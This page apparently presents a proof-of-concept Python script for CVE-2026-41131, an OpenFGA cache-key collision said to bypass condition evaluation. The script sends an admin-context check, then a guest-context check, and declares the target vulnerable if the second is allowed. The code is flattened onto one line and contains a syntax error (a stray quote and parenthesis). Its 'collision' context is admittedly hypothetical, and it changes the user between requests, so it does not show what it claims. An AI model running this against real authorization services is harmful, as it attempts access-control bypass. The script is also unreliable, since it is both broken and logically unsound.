CVE-2026-41131 OpenFGA缓存键冲突致权限绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-41131 (OpenFGA Cache Key Collision) This script demonstrates the concept where two different requests might result in a cache hit, bypassing condition evaluation. """ import requests import json TARGET_URL = "http://localhost:8080" STORE_ID = "target_store_id" MODEL_ID = "target_model_id" def make_request(user, object, relation, context): endpoint = f"{TARGET_URL}/stores/{STORE_ID}/check" headers = {"Content-Type": "application/json"} payload = { "tuple_key": { "user": user, "object": object, "relation": relation }, "authorization_model_id": MODEL_ID, "context": context } response = requests.post(endpoint, headers=headers, data=json.dumps(payload)) return response.json() # Step 1: Send a request with context that allows access # This result gets cached under a specific Key A print("[+] Sending request 1 with valid admin context...")") ctx_admin = {"level": "admin", "region": "us"} resp1 = make_request("user:alice", "doc:1", "viewer", ctx_admin) print(f" Response: {resp1}") # Step 2: Send a request with a different context (e.g., guest) # Vulnerability: This generates the same Cache Key A # System returns cached 'allowed' result instead of evaluating guest context print("[+] Sending request 2 with guest context (triggering collision)...") ctx_guest = {"level": "guest", "region": "eu"} # Hypothetical collision context resp2 = make_request("user:bob", "doc:1", "viewer", ctx_guest) print(f" Response: {resp2}") if resp2.get('allowed') == True: print("[!] Vulnerability confirmed: Guest access granted via cache poisoning.") else: print("[-] Access denied correctly or target not vulnerable.")